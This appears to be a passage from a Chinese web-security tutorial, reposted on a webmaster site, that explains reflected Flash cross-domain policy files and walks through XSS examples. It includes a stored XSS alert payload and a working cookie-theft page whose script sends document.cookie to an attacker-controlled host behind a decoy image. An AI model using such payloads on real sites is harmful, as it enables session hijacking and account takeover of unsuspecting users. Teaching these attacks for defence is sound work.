|
有些开发人员通过把响应的MIME类型设置为text/plain或者除text /html以外的任何东西来防止AJAX响应被注入HTML。HTML注入将无法进行,因为浏览器不会把响应解释为HTML。然而,Flash并不关心跨域策略文件是哪种MIME类型,所以攻击者有可能使用AJAX响应来反射一个不安全的跨域策略文件。
这允许恶意的Flash应用程序以受害者名义向有弱点的Web应用程序发送请求,读取该域上的任意的页面,并创建到达该域的套按字连接。这种类型的攻击的威胁相对较弱,因为恶意的Flash应用程序不能窃取Cookie(但是它仍然可以以用户的名义来完成任何动作),而且它不能在受害的用户前模仿成应用程序,除非恶意的Flash应用程序将用户重定向到一个攻击者控制下的域。
然而,到目前为止,HTML注入所能做的最邪恶的事情还是在受害用户目前把自己装扮成Web应用程序,当然,通过其它方法也可以达到此目的,比如反射一个不安全的跨域策略文件,并使用ActionScript的XML类发送HTTP的GET和POST请求并且读取响应。 在下一节中,我们描述攻击是如何作恶的。
六、XSS攻击实例分析
例1、简单XSS攻击
留言类,简单注入javascript
有个表单域:
- <input type="text" name="content" value="这里是用户填写的数据">
- <script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。
【将数据改成html标签进行攻击,则会将原本的样式打乱。】
例2、盗取cookie
- 网站所在域名为www.test88.com、攻击者控制的主机www.linuxtest.com
- test88.com中的表单,xss.html

- 恶意攻击者插入相应代码

- 数据(攻击代码)插入数据库
- 攻击者控制的主机中设置接收盗取的cookie

开始模拟测试
(1) test88.com中设置生成sessionID代码
(2) 客户端访问上面代码并生成自己的sessionID
(3) 客户端访问xss.html
#下面为模拟被攻击后取出数据的xss.html代码(显示数据)
- <!DOCTYPE html>
- 2 <html>
- 3 <head>
- 4 <title>xss攻击</title>
- 5 <meta charset="utf-8">
- 6 </head>
- 7 <body>
- 8 <form action="./test99.php" method="post">
- 9 留言:<input type="text" name="content" value=""><br/>
- 10 <input type="submit" name="" value='提交'>
- 11 </form>
- 12 <br/>留言记录:<br/>
- 13 <script>
- 14 var Str=document.cookie; //获取cookie
- 15 var a =document.createElement('a'); //创建a标签
- 16 a.href='http://www.linuxtest.com/test2.php?'+Str; //攻击者主机
- 17 a.innerHTML="<img src='./aa.jpg'>"; //掩护图片
- 18 document.body.appendChild(a); //将标签添加到页面中
- 19 </script>
- 20 </body>
- 21 </html>

(4) 客户端不小心点击到图片,sessionID将被盗

(编辑:清远站长网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|